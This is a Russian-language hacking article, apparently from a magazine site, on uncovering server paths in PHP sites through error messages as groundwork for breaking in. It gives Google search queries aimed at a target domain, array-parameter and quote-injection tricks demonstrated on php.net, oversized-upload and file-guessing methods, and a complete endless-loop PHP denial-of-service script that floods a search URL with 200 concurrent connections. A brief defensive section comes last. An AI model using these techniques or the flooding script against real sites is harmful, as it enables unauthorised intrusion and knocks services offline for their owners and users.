Любой мало-мальски серьезный взлом требует основательной подготовки, анализа сервера, самого сайта, софта. Пока мы не попали внутрь, мы не знаем иерархии сервера и не можем адекватно ориентироваться в путях. Например, документ index.php может лежать как в /home/target.com/docs/index.php, так и в любом месте с похожим, а порою вовсе не похожим адресом. Чтобы знать точно иерархию, надо встать на колени перед сервером, помолиться и попросить его "раскрыть путь" - что по англицки значится как "path disclosure".

Для чего использовать эту информацию? Ну например: у вас есть уязвимость на локальный include и возможность закачать аттачмент на форум - но вы не знаете, какой адрес (даже относительный) у папки аттачментов форума, а наугад найти не получилось. Приходится искать другими методами - более осмысленными - большая часть из них описана ниже.

Поскольку примерно половина скриптов в мире написано на языке php, я буду говорить про раскрытие пути в PHP-скриптах, кстати, смею заметить, именно в php это сделать легче всего, разработчики не поскупились - почти в любой ошибке указан абсолютный адрес файла :).

Google - первый помощник в делах путевых

Самый простой, и чаще всего самый эффективный способ найти "баги" - использовать Google. Во-первых, он лучше всех индексирует ошибки, во-вторых, у него есть кэш, который нам и понадобится. Если не выключены ошибки (если выключены - найти путь в сотню раз сложнее), то при обработке бажного скрипта на экран выведется что-то вроде

Warning: Cannot modify header information - headers already sent by (output started at /home/local/Web/sites/www.php.net/include/site.inc:155) in /home/local/Web/sites/www.php.net/include/layout.inc on line 80

Вот путь и раскрыт. (Надо заметить, что раскрывается абсолютный путь, что очень полезно). Нам надо найти такие бажные страницы на заданном сервере. Простые примеры запросов для поиска кривых страниц через google:

"headers already sent" site:victim.ru - ошибки при отправке хидеров самые популярные.
"mysql_connect" site:victim.ru - mysql очень любит ругаться, почем зря. Мы тоже любим mysql 😉
"failed to open stream" site:victim.ru - ошибки, связанные с чтением файлов.

Если всё это не помогает, можно попробовать поискать просто "Warning" - и долго копаться в результатах. Самое интересное, что часто баги, которые находит гугл, могут быть уже закрыты (например, ошибка too many connections в mysql - штука редкая, временная, но полезная). В таких случаях надо не забывать про пимпу "Сохранено в кэше", которая есть рядом почти с каждым результатом в гугле. На странице кэша любезно сохранена вся информация об ошибке, вместе с путем.

Если поисковик не выдал интересных результатов, отчаиваться не стоит. Гугл всё равно крут, попробуй найти поддомены для анализируемого сайта - простой запрос inurl:nasa.gov выдаст все проиндексированные поддомены сайта, на которых тоже можно поискать "path disclosure". Для всех поисков можно написать автомат-парсер, и это довольно просто, но придумано для лентяев (или тех, кто ломает по 500 сайтов в день), поэтому описывать его здесь не вижу смысла.

Поиск информации о "path disclosure" для конкретных приложений

Всегда можно пойти путем скрипт кидисов и залезть на багтрек. К примеру, на сервере стоит phpMyAdmin версии 2.6.*, и доступ к панели залогинивания мы уже нашли. Нам опять поможет священный гугль - запрос phpmyadmin 2.6 path disclosure порадует нас обилием подсказок. Самое интересное, что далеко не каждая компания, пишущая софт, спешит залатать такие баги в своих ваяниях. Почти всегда можно найти какой-нибудь глупый скрипт, который так и говорит "ну узнай же у меня путь, возьми меня!".

Ручные методы - работает даже на www.php.net 😉

Начать ручное сканирование можно с осмотра страниц - тыкай себе разные кнопки и ссылки, есть вероятность, что что-нибудь, да отыщешь. Говённый метод, надо сказать, хотя не раз помогал. Мой любимый способ - это передача массивов. Чтобы не вдаваться в детали, могу сразу привести пример на незабвенном php.net.

http://php.net/?lang[]=hacked тут же расскажет нам, где деньги лежат (кстати, покажет много интересных вещей - например, ссылку на http://php.net/include/site.inc).

Так-то, а кто-то ещё говорил, что path disclosure - очень слабая уязвимость! Как видно из ссылки, уязвимость кроется в паре квадратных скобок, а именно при их помощи задаётся массив в php. Их можно загонять в любые переменные, передаваемые на сервер - добавляем в конце квадратные скобки и злобненько хихикаем. Далеко не всегда выходит проделать такое в адресной строке. Но есть же ещё формочки и незабвенный, а также редко проверяемый метод "POST". Достаточно сохранить страницу с формой для залогинивания, подправить немного код (например: <input type="text" name="login[shit]">) и нажать на сабмит. Все эти вещи в большой степени касаются и cookies - чем сложнее снаружи подделать, тем
реже идут проверки. Хотя и проверки бывают очень кстати - если логин проверяется preg_match - то php выдаст ошибку применения массива в регулярном выражении и наш любимый "path disclosure". Защита может служить для нападения.

Ещё один неплохой способ - sql injection. Передавайте кавычки в разные переменные - возможно, вы найдете там sql injection. Вполне вероятно, он будет очень плохонький и не даст вам ничего сделать с самой базой данных... Но вы наверняка увидите что-то на подобие такой ошибки:

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /opt/www/data/dealers/howtofindus.html on line 34

Как видно из описания ошибки, она наступает, когда есть проблемы с ответом от сервера. Чтобы вызвать такую ошибку, можно попробовать передавать разные цифровые данные в переменные (например, отрицательные номера анкет, текст вместо цифр и т.п). Редкий, но интересный способ - это закачка на сервер - если вам разрешено закачивать файлы на сервер (ещё лучше - конкретно картинки), то можно попробовать закачать файл на 10-30 мегабайт - тут возможны несколько вариантов ошибок:

  1. После закачки файл обрабатывается, и скрипту не хватает памяти, чтобы его загрузить (ошибка о нехватки памяти выведет путь).
  2. Если файл - картинка, после закачки, например, уменьшается до каких-то размеров - то ошибка внутри файла может вызвать ошибку обработчика, с всё тем же "path disclosure".
  3. Обработка файла будет длиться долго и вызовет ошибку слишком долгого выполнения скрипта.

Да и вообще, если у вас вышло загрузить сервер работой, можно добиться третьей ошибки без особых проблем. Обычно на хостингах время выполнения скрипта ограничено 20-30 секундами.

Поиск наобум.

Если пришлось дойти до этого, значит дела совсем плохи. Отчаиваться не надо - это будем делать, когда пиво кончится.

  1. Ищем скрипты. Сначала такие вещи, как "phpinfo.php", "info.php","test.php" ,"1.php" и другие подобные названия, в которых может вызываться функция phpinfo(), которая расскажет нам даже больше, чем мы заслуживаем.
  2. Смотрим, какие скрипты уже есть на сервере и ищем их бекапы: "1index.php","index2.php","_index.php","index_old.php". бекапы часто бывают бажные и выдают массу ошибок. Кроме того, можно поискать разные папки - вдруг там глючные файлы?
  3. Если на сайте есть гостевая книга (левый форум, голосование и т.п.), но информации про раскрытие пути в сети не нашлось, надо понять, что за скрипты и каких версий стоят, скачать их у производителя и посмотреть изнутри - все ли переменные адекватно фильтруются? 90% таких поисков оканчиваются успехом.

Немного про DOS атаку

Мы не нашли ничего. Нам не помог гугл и багтрек - и вообще, на сайте стоит только какая-то неуязвимая CMS. Как быть? Что делать? Атаковать! Я не зря писал про "хорошие" ошибки mysql. Too many connections - это наше всё. Но как вывести из строя сайт хотя бы на пару минут? Прямой дос-атакой на php скрипт.

Вот план нашей атаки:

  1. Найти url на сайте, который создает максимальную нагрузку на сервер (точнее на базу данных), чаще всего это url поиска, или вывода пары сотен сообщений на экран.
  2. Как угодно, но быстро и много раз попросить сервер выполнить этот скрипт.
  3. Следить - не начнёт ли ресурс выдавать mysql ошибки (иногда бывают и ошибки времени исполнения, тоже хорошо).

Итак, предположим мы нашли урл, который грузится две секунды и выдают нам в браузер мегабайт чего-то там (я не имею в виду файл на мегабайт - это должна быть информация из базы данных!)

http://victim.ru/search.php?find=a - пусть оно выводит все сообщения, в которых есть буква "а"

Нам абсолютно не хочется, чтобы сервер грузил нас метрами мусора - поэтому мы должны ограничиваться только запросами к серверу, не читая ответ. Это делается таким php-скриптом:

<?
$site='victim.ru/search.php?find=a'; #
адрес сайта без http://
$addr=explode('/',$site,2); #
делим адрес на адрес сервера и адрес скрипта
$ip=gethostbyname($addr[0]); #
узнаём IP сервера

# Составляем запрос документа:
$request= 'GET /' . $addr[1]. ' HTTP/1.0' . "\r\n";
$request .= "Accept: */*\r\n";
$request .= "Host: " . $addr[0] . "\r\n\r\n";

while(true) # пусть атакует вечно ;)
{
for($i=1;$i<=200;$i++) #
будем использовать 200 соединений с сервером одновременно! (можно менять, но больше - не всегда лучше)
{
$f[$i]=NULL; #
сбрасываем дескриптор
while(!$f[$i]) #
пока дескриптор пустой, будем слать запросы на сервер
{
$f[$i]=@fsockopen($ip, 80, $errno, $errstr, 5); #
5 - это таймаут, можно менять.
}
$r=@fwrite($f[$i],$request); #
отправляем наш злобный запрос серверу
}

# закрываем все открытые дескрипторы
for($i=1;$i<=200;$i++)@fclose($f[$i]);
}
?>

Скрипт будет атаковать сервер со скоростью открытия соединения, а не скачивания результата. На результат наш скрипт вообще плевал. Чтобы регулировать скорость работы, можно менять количество открываемых соединений (здесь = 200) и количество одновременно запущенных скриптов (скажу, что с adsl линии у меня падали сервера серьезных хостеров, не говоря о дешевом collocation'е). Так что не переусердствуйте - вам надо положить не сервер, а только напрячь базу данных.

Защищаем свои сайты

Как же защитить свой сайт от "path disclosure"? Тут могу дать несколько разных советов:

  1. Не используйте софт сторонних фирм, пишите сами и сами проверяйте переменные.
  2. Проверьте вышеприведенными методами свой сайт - всё ли в порядке?
  3. Всегда можно отключить ошибки в скрипте, поставив в начало директиву error_reporting(0);

Примеры защиты переменных:

$index=(int)$_GET['index']; - защищает переменную сразу и от кавычек с текстом, и от массивов.
if(is_array($_POST['login']))die('гадский хакер!'); - прямая проверка на массив.

Помните, большинство функций в PHP неадекватно работает с целыми массивами - всегда проверяйте, что вы им скармливаете.

Check Also

Разбираем Loki-Bot. Как устроены механизмы антиотладки банковского трояна

Исследовать малварь не только весело, но и крайне познавательно. Недавно в мои цепкие руки…

Оставить мнение